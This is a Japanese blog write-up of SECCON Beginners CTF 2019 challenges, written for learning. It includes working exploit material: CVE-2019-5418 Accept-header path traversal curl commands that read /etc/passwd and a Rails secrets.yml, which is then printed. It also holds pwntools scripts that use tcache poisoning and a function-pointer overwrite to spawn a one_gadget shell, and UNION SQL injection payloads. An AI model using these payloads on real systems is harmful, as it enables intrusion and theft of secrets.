こちらも時間がなくて競技中は全く見れなかったので、まずは自力で調査してみます。サイトの作りや基本的な構造はkatsudonと同じはず。

まずはkatsudonの解法、/flag ページでもらえるクーポンなのかシリアルコードなのかわからに文字列をbase64 decodeしてみます。
/flagページに表示される文字列は下記。

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==

--の前・中・後が base64 encode されてそうだったので decode してみましたが、特に有力な情報は得られず。

指定のurlに飛んでいろいろつついてみる。今回は katsudon であった、各店舗のシリアルコードの表示もない。
top画面 (/storelists)

f:id:kusuwada:20190601175143p:plain

クーポン発行 (/coupon)

f:id:kusuwada:20190601175140p:plain

各画面のソースを見ていきますが、sytleが長いなー。という感想。。。
と思ったら、 /coupon 画面のソースに怪しいコメントを発見。

<!-- debug: app/controllers/coupon_controller.rb -->

ほほう。これって katsudon の問題で提供されたコードと同じ名前っぽいけど、katsudon 問題のソースを参照して良いのかな?

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

うーん、これだけではさっぱりわかりません。サイトにも入力フォームもcookieも無いので、とりあえず手がかりが無くなったっぽい。。。
もう一度katsudonのほうの問題文を読み返してみます。基本的にこの問題の情報はそのまま使って良いはず。

Rails 5.2.1で作られたサイトです。

そう言えばわざわざ rails の version が明記されていたんでした。
rails 5.2.1 脆弱性 とかでググってみます。もちろん対象versionの脆弱性はたくさん見つかるのですが、多くのサイトで取り上げられているやばめの脆弱性がありました。CVE-2019-5418 : File Content Disclosure in Action View です。

日本語の解説もいくつかありました。しかも詳細なやつ。PoCも紹介されています。

ディレクトリトラバーサルです。 render file: でファイルを表示している場合、細工されたヘッダを受け付けることで、サーバー上の任意のファイルがレンダリングされます。

結構な脆弱性です。
上記のペパポのサイトでは、PoCとして最終的に etc/passwd を読み出してみていました。

$ curl -v 'http://localhost:3000/ -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'

こんな感じで読み出せちゃうんですね。凄い。。。
今回は、とりあえず上記の app/controllers/coupon_controller.rb (ご丁寧にappからのpathも書いてある)を読み出してみます。

$ curl 'https://katsudon-okawari.quals.beginners.seccon.jp/storelists' -H 'Accept: ../../../app/controllers/coupon_controller.rb{{'

pathの階層は面倒だったので適当に ../ の数を調整して何度か試しました(ノ≧ڡ≦)

class CouponController < ApplicationController
  def index
  end

  def show
    serial_code = params[:serial_code]
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
    @coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
  end
end

おや、katsudonの時にもらったコードとちょっと差分があります。この secret_key_base とかかなり怪しいです。
Railsのsecretsファイルのパスは config/secrets.yml.key とかなので、取れないか試してみます。

$ curl 'https://katsudon-okawari.quals.beginners.seccon.jp/storelists' -H 'Accept: ../../../config/secrets.yml{{'

まじか、一発でとれた。

# Be sure to restart your server when you modify this file.

# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!

# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.

# Make sure the secrets in this file are kept private
# if you're sharing your code publicly.

# Do not keep production secrets in the repository,
# instead read values from the environment.
production:
  secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34

あとは、flagのクーポンとsecret_key_baseを使って、クーポン生成コードの逆処理をやるとできそう。
rubyでやるかpythonでやるか悩みましたが、競技中だと変なミスを極力減らしたいと思うので、なるべく生成時と同じ環境・同じロジックを使うようrailsのconsoleを利用することにしました。

新しいPC (Mac) にrails環境を全く入れていなかったので、下記を参考に rails 環境を整えました。

新しくrail app を作り、そこで rails console で実行すればrails用のライブラリが使えます。

$ rails new testapp
$ cd testapp
$ rails console

railsのconsoleが立ち上がります。

secret_key_base = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'
flag_coupon = 'bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=='

msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm")
flag = msg_encryptor.decrypt_and_verify(flag_coupon)

とconsole上で実行していくと、flagが無事取れました!

> flag = msg_encryptor.decrypt_and_verify(flag_coupon)
=> "ctf4b{06a46a95f2078ae095470992cd02f419}"

個人的には、MeyasubakoよりもHimitsuよりもわかりやすかったから、やっぱりボスは本当はMeyasubakoだったのかな。

[Pwnable] BabyHeap

こちら、競技中のメモと、その後他のwrite-upを読みながらやってみた内容になっています。激参考にさせていただいたのは

なので、解説記事としては上記を参考したほうが良いかと思います!

nc 133.242.68.223 58396

入手したのは実行ファイル babyheaplibc-2.27.so
babyって言ってるので易しいのが出てきて、あわよくば解けるかなーと思ったんですけどね…。

$ file babyheap
babyheap: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped
$ file libc-2.27.so 
libc-2.27.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/l, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped

実行してみます。

$ ./babyheap 
Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f48ccff3a00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 1
Input Content: test

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 1
No Space!!

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2   
free(): double free detected in tcache 2
中止

最初にプレゼントと言われて何やらアドレスが渡されます。その後、別途allocしたりdeleteしたりできるようです。
処理をradare2で追ってみます。まずはmain関数。

/ (fcn) main 172
|   main (int argc, char **argv, char **envp);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x88d)
|           0x000009ad      55             push rbp
|           0x000009ae      4889e5         mov rbp, rsp
|           0x000009b1      4883ec10       sub rsp, 0x10
|           0x000009b5      488b05741620.  mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x202030:8]=0
|           0x000009bc      4889c6         mov rsi, rax
|           0x000009bf      488d3df20100.  lea rdi, qword str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n"
|           0x000009c6      b800000000     mov eax, 0
|           0x000009cb      e850feffff     call sym.imp.printf         ; int printf(const char *format)
|       ,=< 0x000009d0      eb72           jmp 0xa44
|       |   ; CODE XREF from main (0xa50)
|      .--> 0x000009d2      8b45f4         mov eax, dword [local_ch]
|      :|   0x000009d5      83f802         cmp eax, 2
|     ,===< 0x000009d8      7453           je 0xa2d
|     |:|   0x000009da      83f803         cmp eax, 3
|    ,====< 0x000009dd      745c           je 0xa3b
|    ||:|   0x000009df      83f801         cmp eax, 1
|   ,=====< 0x000009e2      7402           je 0x9e6
|  ,======< 0x000009e4      eb5e           jmp 0xa44
|  ||||:|   ; CODE XREF from main (0x9e2)
|  |`-----> 0x000009e6      48837df800     cmp qword [local_8h], 0
|  |,=====< 0x000009eb      740e           je 0x9fb
|  ||||:|   0x000009ed      488d3d050200.  lea rdi, qword str.No_Space ; 0xbf9 ; "No Space!!"
|  ||||:|   0x000009f4      e8e7fdffff     call sym.imp.puts           ; int puts(const char *s)
| ,=======< 0x000009f9      eb49           jmp 0xa44
| |||||:|   ; CODE XREF from main (0x9eb)
| ||`-----> 0x000009fb      bf30000000     mov edi, 0x30               ; '0'
| || ||:|   0x00000a00      e83bfeffff     call sym.imp.malloc         ;  void *malloc(size_t size)
| || ||:|   0x00000a05      488945f8       mov qword [local_8h], rax
| || ||:|   0x00000a09      488d3df40100.  lea rdi, qword str.Input_Content: ; 0xc04 ; "Input Content: "
| || ||:|   0x00000a10      b800000000     mov eax, 0
| || ||:|   0x00000a15      e806feffff     call sym.imp.printf         ; int printf(const char *format)
| || ||:|   0x00000a1a      488b45f8       mov rax, qword [local_8h]
| || ||:|   0x00000a1e      be30000000     mov esi, 0x30               ; '0'
| || ||:|   0x00000a23      4889c7         mov rdi, rax
| || ||:|   0x00000a26      e84a000000     call sym.getnline
| ||,=====< 0x00000a2b      eb17           jmp 0xa44
| |||||:|   ; CODE XREF from main (0x9d8)
| ||||`---> 0x00000a2d      488b45f8       mov rax, qword [local_8h]
| |||| :|   0x00000a31      4889c7         mov rdi, rax
| |||| :|   0x00000a34      e897fdffff     call sym.imp.free           ; void free(void *ptr)
| ||||,===< 0x00000a39      eb09           jmp 0xa44
| |||||:|   ; CODE XREF from main (0x9dd)
| |||`----> 0x00000a3b      48c745f80000.  mov qword [local_8h], 0
| ||| |:|   0x00000a43      90             nop
| ||| |:|   ; CODE XREFS from main (0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39)
| ```-`-`-> 0x00000a44      e810000000     call sym.menu
|      :    0x00000a49      8945f4         mov dword [local_ch], eax
|      :    0x00000a4c      837df400       cmp dword [local_ch], 0
|      `==< 0x00000a50      7580           jne 0x9d2
|           0x00000a52      b800000000     mov eax, 0
|           0x00000a57      c9             leave
\           0x00000a58      c3             ret

下記の行を見る限り、最初にプレゼントしてくれるアドレスは stdin のアドレスのようです。

0x000009b5      488b05741620.  mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x202030:8]=0

あとはlibcをもらっているので、libcのversionは2.27, 任意の関数の相対アドレスは配布されたlibcからわかるんだろうなー。と想像します。
想像したところで特に何も思いつかず、競技中はここで思考停止で終了しました。

上記で紹介した2つのリンク先に、解法や流れ・解説がとても詳しく載っていたので、こちらでは特に解説なしでコードだけ下の方に載せておきます。ライブラリはpwntoolのみを使っているので、環境が作りやすいはず。@ptr-yudai さんの記事のコードをほぼそのまま流用させていただきました。

下記、初心者すぎてわからなかったマジックナンバーなどの調べ方メモ。

one-gadgetというのが出てきたので調べました。こちらでちょっとお勉強。ふむふむ。

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編 - ヾノ*>ㅅ<)ノシ帳

x86-64x86はダメ)のlibcに、 ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行してくれる親切なgadgetが存在します。

これはheap問題だとよく使うやつなのかな?この one-gadget のアドレスを特定するツールとして下記が紹介されていたので、これを使ってみます。ruby環境があればちゃっと使えそうです。

github.com

$ gem install one_gadget
$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

なんだかとってもカラフルな出力だった。installから使い方までとっても簡単でよき。
さて、3つ候補が出てきましたがどれを使うんでしょう?それぞれシェルが起動される条件が異なるみたいです。(constraintsに書いてある)

One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。

ということで、3つとも試してみてうまく行くのを探すのが良さそう。

疑問が解明したので、exploitコードを紹介記事のシーケンスのとおりに書いてみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code refers follow article.
#  https://ptr-yudai.hatenablog.com/entry/2019/05/26/150937

from pwn import *

host = '133.242.68.223'
port = 58396
one_gadget_addr = 0x4f322

baby = ELF('./babyheap')
libc = ELF('./libc-2.27.so')

def alloc(data):
    print(b'1. Alloc: ' + data)
    print(r.recvuntil(b'> '))
    r.sendline(b'1')
    r.recvuntil(b'Input Content: ')
    r.sendline(data)

def delete():
    print(b'2. Delete')
    print(r.recvuntil(b'> '))
    r.sendline(b'2')

def wipe():
    print(b'3. Wipe')
    print(r.recvuntil(b'> '))
    r.sendline(b'3')

r = remote(host, port)
r.recvuntil('>>>>> ')
stdin_addr = int(r.recvuntil(' <<<<<').split(b' ')[0], 16)
libc_base = stdin_addr - libc.symbols[b'_IO_2_1_stdin_']

# tcache poisoning
alloc(b'dummy')
delete()
delete()
wipe()
payload = p64(libc_base + libc.symbols[b'__free_hook'])
alloc(payload)
wipe()
alloc(b'dummy')
wipe()
alloc(p64(libc_base + one_gadget_addr))

# get the shell
delete()

r.interactive()

実行結果

$ python solve.py
[*] '.../babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '.../libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 133.242.68.223 on port 58396: Done
b'1. Alloc: dummy'
b'2. Delete'
b'2. Delete'
b'3. Wipe'
b'1. Alloc: \xe8\xa8\xd5\xf1f\x7f\x00\x00'
b'3. Wipe'
b'1. Alloc: dummy'
b'3. Wipe'
b'1. Alloc: "\xc3\x9b\xf1f\x7f\x00\x00'
b'2. Delete'
[*] Switching to interactive mode
$ ls
babyheap
flag.txt
$ cat flag.txt
ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}

Babyって言ってるし、この前初めてpicoCTFの復習でheap問題やってみたし、手を付けてみちゃったんですけど全然駄目でした。再度確認したら13チームしか解いてなかったですね。競技中に「よかった、ちゃんとbabyだった」と言う誰かのつぶやきを見て「ほほう?」と思ってたんですけど、プロから見たらbabyだったってことですかね。

ちなみに今回、write-upを見つつわからないところを調べつつ、だったのですが、下記サイトがheap系の知識として読むのに良かったです。本当は体系だってお勉強するのが一番なんでしょうけど、紹介まで。

[Pwnable] OneLine

この問題も競技中は全く見ませんでしたが、BabyHeapでちょっと調べた内容も使いそうだったので他の方のwrite-upも見つつやってみました。

nc 153.120.129.186 10000

配布されたファイルを解凍してみます。こちらも実行ファイルとlibcが入っていました。

$ ls
ace01bbd1b0165f0c0f43426d7716721_oneline.tar.gz
libc-2.27.so
oneline

動作確認。

$ ./oneline 
You can input text here!
>> test
test
�g
<�Once more again!
>> test
test

2回ほどユーザー入力を受け付けて、入力をそのまま出力してくれるようです。が、最後の方にちょろっと変な出力が…。

$ ./oneline 
You can input text here!
>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa    
Segmentation fault

そして、ちょっと眺めの文字列を入れると、一回目で落ちちゃいました。何かありそう。
radare2でmain関数を見てみます。

            ;-- main:
/ (fcn) sym.main 182
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x73d)
|           0x0000086d      55             push rbp
|           0x0000086e      4889e5         mov rbp, rsp
|           0x00000871      4883ec10       sub rsp, 0x10
|           0x00000875      be01000000     mov esi, 1
|           0x0000087a      bf28000000     mov edi, 0x28               ; '('
|           0x0000087f      e87cfeffff     call sym.imp.calloc         ; void *calloc(size_t nmeb, size_t size)
|           0x00000884      488945f8       mov qword [local_8h], rax
|           0x00000888      488b45f8       mov rax, qword [local_8h]
|           0x0000088c      488b15450720.  mov rdx, qword [reloc.write] ; [0x200fd8:8]=0
|           0x00000893      48895020       mov qword [rax + 0x20], rdx
|           0x00000897      488d3d160100.  lea rdi, qword str.You_can_input_text_here ; 0x9b4 ; "You can input text here!\n>> "
|           0x0000089e      b800000000     mov eax, 0
|           0x000008a3      e838feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x000008a8      488b45f8       mov rax, qword [local_8h]
|           0x000008ac      ba28000000     mov edx, 0x28               ; '('
|           0x000008b1      4889c6         mov rsi, rax
|           0x000008b4      bf00000000     mov edi, 0
|           0x000008b9      e832feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x000008be      488b45f8       mov rax, qword [local_8h]
|           0x000008c2      488b4020       mov rax, qword [rax + 0x20] ; [0x20:8]=64 ; "@"
|           0x000008c6      488b4df8       mov rcx, qword [local_8h]
|           0x000008ca      ba28000000     mov edx, 0x28               ; '('
|           0x000008cf      4889ce         mov rsi, rcx
|           0x000008d2      bf01000000     mov edi, 1
|           0x000008d7      ffd0           call rax
|           0x000008d9      488d3df10000.  lea rdi, qword str.Once_more_again ; 0x9d1 ; "Once more again!\n>> "
|           0x000008e0      b800000000     mov eax, 0
|           0x000008e5      e8f6fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x000008ea      488b45f8       mov rax, qword [local_8h]
|           0x000008ee      ba28000000     mov edx, 0x28               ; '('
|           0x000008f3      4889c6         mov rsi, rax
|           0x000008f6      bf00000000     mov edi, 0
|           0x000008fb      e8f0fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00000900      8945f4         mov dword [local_ch], eax
|           0x00000903      488b45f8       mov rax, qword [local_8h]
|           0x00000907      488b4020       mov rax, qword [rax + 0x20] ; [0x20:8]=64 ; "@"
|           0x0000090b      8b55f4         mov edx, dword [local_ch]
|           0x0000090e      488b4df8       mov rcx, qword [local_8h]
|           0x00000912      4889ce         mov rsi, rcx
|           0x00000915      bf01000000     mov edi, 1
|           0x0000091a      ffd0           call rax
|           0x0000091c      b800000000     mov eax, 0
|           0x00000921      c9             leave
\           0x00000922      c3             ret

よくわからない処理があります。

|           0x0000088c      488b15450720.  mov rdx, qword [reloc.write] ; [0x200fd8:8]=0
|           0x00000893      48895020       mov qword [rax + 0x20], rdx

ここでwrite関数のポインタをstack上に書き出してくれているようです。
入力→出力は、0x28バイト読み込んで出力してくれ、このwrite関数のアドレスは終わり0x8バイト (0x20~) に書かれているようなので、上書きしなければ最後にwrite関数のアドレスが出力されそう。
試しに空の文字列を一発目に送ってみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '153.120.129.186'
port = 10000

r = remote(host, port)
print(r.recvuntil(b'>> '))
r.sendline(b'')
res = r.recv()
print(b'response: ' + res)
print(b'0x20-0x28: ' + res[0x20:0x28])
print('write_addr: ' + hex(u64(res[0x20:0x28])))

実行結果(抜粋)

b'You can input text here!\n>> '
b'response: \n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@a\x01\xea/\x7f\x00\x00'
b'0x20-0x28: @a\x01\xea/\x7f\x00\x00'
write_addr: 0x7f2fea016140

想定通りのresponseが返ってきてそう!write関数のアドレスが入手できたので、ここから libc base のアドレスが計算できます。

0x000008d7      ffd0           call rax
...
0x0000091a      ffd0           call rax

また、2回の入力とも、最後に入力時の 0x20-0x28 バイトに書かれたアドレスを実行しています。
入力時にwrite関数のアドレス部分を上書きしていなければ、write関数が実行されるんですね。だからちょっと長めの適当な文字列を突っ込むと、このwrite関数のアドレスが変に上書き→実行され、SegmentationFaultで落ちちゃったってことですね。

ということは、1回目の入力でwrite関数のアドレスを入手、libc base のアドレスがわかるので、任意の関数のアドレスを計算。2回目の入力時に最後に任意の関数のアドレスをくっつけて実行してもらう、というのが良さそう。
ここで、2回目の時に BabyHeap の時に利用した one-gadget を利用してshellを起動させます。
BabyHeapのとき導入した GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6 で one-gadgetを探してみます。

$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

配布されたlibcのバージョンが同じだったからか、結果はBabyHeapのときと同じになりました。
あとはこのアドレスを、2回目のinput時の最後8バイト部分に書き込むだけ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '153.120.129.186'
port = 10000

baby = ELF('./oneline')
libc = ELF('./libc-2.27.so')

one_gadget_addr = 0x4f322

r = remote(host, port)
print(r.recvuntil(b'>> '))
r.sendline(b'')
write_addr = u64(r.recv()[0x20:0x28])
print('write address: ' + str(write_addr))
libc_base = write_addr - libc.symbols[b'write']

r.recvuntil(b'>> ')
payload = b'a' * 0x20
payload += p64(libc_base + one_gadget_addr)
r.sendline(payload)

r.interactive()

実行結果

$ python solve.py 
[*] '.../oneline'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '.../libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 153.120.129.186 on port 10000: Done
b'You can input text here!\n>> '
write address: 139773157900608
[*] Switching to interactive mode
$ ls
flag.txt
oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}

ちなみに、 one-gaedget は 0x10a38c でもいけました。

感想など

沢山の方のwrite-upや作問者の解説を参考にさせていただきました。ありがとうございました!やはり実際に手を動かして、他の方の解き方をなぞるだけでも、かなり理解が深まりますね。(読むだけでは全く頭に入ってこないポンコツだからという話もある)
最近はpicoCTFの復習をメインにやっていましたが、picoCTFの最後の方の問題の難易度と同じくらいなイメージでした。次はもう少し点の高い問題も解けると良いなぁ。

実はあと2問残っていますが、あと2日で出産のため入院 → 問題サーバー落ちる予定なので諦めました。ちょっと手はつけてみたのですが、私の理解度ではとっても時間がかかりそうだったので…。

  • [Reversing] SecconPass
  • [Pwnable] memo

いやー、でもやっぱ競技中(24時間?)に一人チームで全完とか、本当に凄いですね!
来年も、フルタイムとは言わないので、少しでもリアルタイムで参加できると良いな(◍•ᴗ•◍) 

SECCON for Beginners CTF 2019 write-up

Beginners CTF 2019 が 2019/5/25 ~ 5/26 で開催されていたので参加しました!
相変わらず点数の低い問題しか解いていませんが、備忘録も兼ねてwrite-up書いておきます。あとで復習記事も書いておきたい。

f:id:kusuwada:20190526153713p:plain

今回は8問解いて897pt, 114位 (1問以上解いた666チーム中) でした。内訳はこんな感じ。

f:id:kusuwada:20190526163332p:plain

f:id:kusuwada:20190526154031p:plain

解いた時間が細切れなのは、育児タスクの合間にちょこちょこやったから…。こうやってみるとわかりやすい。

f:id:kusuwada:20190526154018p:plain

CTFを始めて身についた知識を使いました!!!と大きな声で言えるものが殆どないのが残念。Cryptoあたりもう1問くらい解きたかったなぁ。

順序は適当。手を付けた順です。

ちなみに去年のBeginners参加write-up。

kusuwada.hatenablog.com

warmup4問 + Misc1問だったので、少しは進歩した様子。

[Misc] [warmup] Welcome

SECCON Beginners CTFのIRCチャンネルで会いましょう。

IRC: freenode.net #seccon-beginners-ctf

IRCに入ると、チャネルの説明にflagが。

f:id:kusuwada:20190526154828p:plain

[Reversing] [warmup] Seccompare

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

サイトにアクセスしてファイルをDLします。
こんなファイルが出現しました。

$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 

実行してみます。

$ ./seccompare 
usage: ./seccompare flag

ということで、引数が一つ必要なようです。

# ./seccompare flag
wrong

こんな感じ。違ったら違うと言ってくれるようです。
radare2で解析してみようとmain関数を見たら、flagが書いてありました。

|      |`-> 0x00400630      c645d063       mov byte [local_30h], 0x63  ; 'c' ; 99
|      |    0x00400634      c645d174       mov byte [local_2fh], 0x74  ; 't' ; 116
|      |    0x00400638      c645d266       mov byte [local_2eh], 0x66  ; 'f' ; 102
|      |    0x0040063c      c645d334       mov byte [local_2dh], 0x34  ; '4' ; 52
|      |    0x00400640      c645d462       mov byte [local_2ch], 0x62  ; 'b' ; 98
|      |    0x00400644      c645d57b       mov byte [local_2bh], 0x7b  ; '{' ; 123
|      |    0x00400648      c645d635       mov byte [local_2ah], 0x35  ; '5' ; 53
|      |    0x0040064c      c645d774       mov byte [local_29h], 0x74  ; 't' ; 116
|      |    0x00400650      c645d872       mov byte [local_28h], 0x72  ; 'r' ; 114
|      |    0x00400654      c645d931       mov byte [local_27h], 0x31  ; '1' ; 49
|      |    0x00400658      c645da6e       mov byte [local_26h], 0x6e  ; 'n' ; 110
|      |    0x0040065c      c645db67       mov byte [local_25h], 0x67  ; 'g' ; 103
|      |    0x00400660      c645dc73       mov byte [local_24h], 0x73  ; 's' ; 115
|      |    0x00400664      c645dd5f       mov byte [local_23h], 0x5f  ; '_' ; 95
|      |    0x00400668      c645de31       mov byte [local_22h], 0x31  ; '1' ; 49
|      |    0x0040066c      c645df73       mov byte [local_21h], 0x73  ; 's' ; 115
|      |    0x00400670      c645e05f       mov byte [local_20h], 0x5f  ; '_' ; 95
|      |    0x00400674      c645e16e       mov byte [local_1fh], 0x6e  ; 'n' ; 110
|      |    0x00400678      c645e230       mov byte [local_1eh], 0x30  ; '0' ; 48
|      |    0x0040067c      c645e374       mov byte [local_1dh], 0x74  ; 't' ; 116
|      |    0x00400680      c645e45f       mov byte [local_1ch], 0x5f  ; '_' ; 95
|      |    0x00400684      c645e565       mov byte [local_1bh], 0x65  ; 'e' ; 101
|      |    0x00400688      c645e66e       mov byte [local_1ah], 0x6e  ; 'n' ; 110
|      |    0x0040068c      c645e730       mov byte [local_19h], 0x30  ; '0' ; 48
|      |    0x00400690      c645e875       mov byte [local_18h], 0x75  ; 'u' ; 117
|      |    0x00400694      c645e967       mov byte [local_17h], 0x67  ; 'g' ; 103
|      |    0x00400698      c645ea68       mov byte [local_16h], 0x68  ; 'h' ; 104
|      |    0x0040069c      c645eb7d       mov byte [local_15h], 0x7d  ; '}' ; 125

flag: ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Web] [warmup] Ramen

ラーメン https://ramen.quals.beginners.seccon.jp

こんなページが。

f:id:kusuwada:20190526154934p:plain

なんか入力フォームと SEARCH ボタンが有るので、すでにいるっぽい「せくこん太郎」を入れてSEARCHしてみる

f:id:kusuwada:20190526155049p:plain

HITしました。 つぎに、admin'-- などのSQL injection用クエリを投げてみます。

f:id:kusuwada:20190526155100p:plain

エラーページ現る。シングルクォーテーション'が入ってるともうだめっぽい。
今回はcookieも無いことから、検索機能・DB機能系の脆弱性を疑います。

ここで、検索欄に とだけ入れてみたところ、せくこん太郎・次郎・三郎の3人が表示されました。
…ということは前方一致でしょうか?ちなみに でも出てきました。前方どころじゃないようです。

ここで心当たりのある文字を総当たりで入力してみましたが、他に店員DBにはいないようでHitしません。
0-9,a-z,A-Z,あ-ん,ア-ンくらいを試してみたんですけどね・・・。
warmupだし、店員DBにFlag君がいて、一言にflagが書いてあることを期待していました。。。

ここで SQL injection の過去問をあさっていると下記の記事が。

CTF for ビギナーズ 2016 FINAL @東京 Writeup - Qiita

2016年のBeginnersのfinal問題です。
この手順に沿ってやってみたら出来ました。最初から SQL injection のクエリの組み立て方がわかっていたらいきなり最後のクエリを勘で組み立てて解けた気がします…。

まず、SQL injection が刺さっているかどうかの確認です。下記のように入れると全レコードがエラー無く出てきました。

' OR 1=1 -- 

今回も最後にスペースが必要でした。
次に、テーブルの列数を調べます。nullを増やしていくと2つでエラーでなかったので、テーブルは2列。

' union select null, null -- 

欲しいtable_namecolum_nameを2列に表示するようなクエリを組み立てます。

' union select table_name, column_name from information_schema.columns -- 

f:id:kusuwada:20190526155133p:plain

名前   一言
せくこん太郎  1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎  せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎  せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
CHARACTER_SETS  CHARACTER_SET_NAME
CHARACTER_SETS  DEFAULT_COLLATE_NAME
CHARACTER_SETS  DESCRIPTION
(中略)
INNODB_FT_CONFIG    KEY
INNODB_FT_CONFIG    VALUE
flag    flag
members username
members profile

たくさん出てきました。flag flagがいます。テーブル・カラム名の特定は、勘でいった人のほうが多そう。
最後に、flagテーブルのflagカラムを抜き出して表示してもらいます。

' union select flag, null from flag -- 

f:id:kusuwada:20190526155156p:plain

取れました〜!!!٩(๑❛ᴗ❛๑)۶ ٩(๑❛ᴗ❛๑)۶ ٩(๑❛ᴗ❛๑)۶ 
今回もWeb問全然解けない、しかもwarmupすら解けないところだったので、終了間際に解けてめっちゃ嬉しかった!

[Web] katsudon

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

なんか問題文にソースが書いてあります。

指定のurlに行くとこんなページ。topが店舗一覧画面のようです。

f:id:kusuwada:20190526155540p:plain

他、クーポンゲット = シリアルコードを入力するページがあります。

f:id:kusuwada:20190526155537p:plain

ためしに店舗一覧ページに合ったシリアルコードをクーポンゲットページに入力してみました。

f:id:kusuwada:20190526155535p:plain

ええー!
ちなみにどのクーポンも使えませんでした。

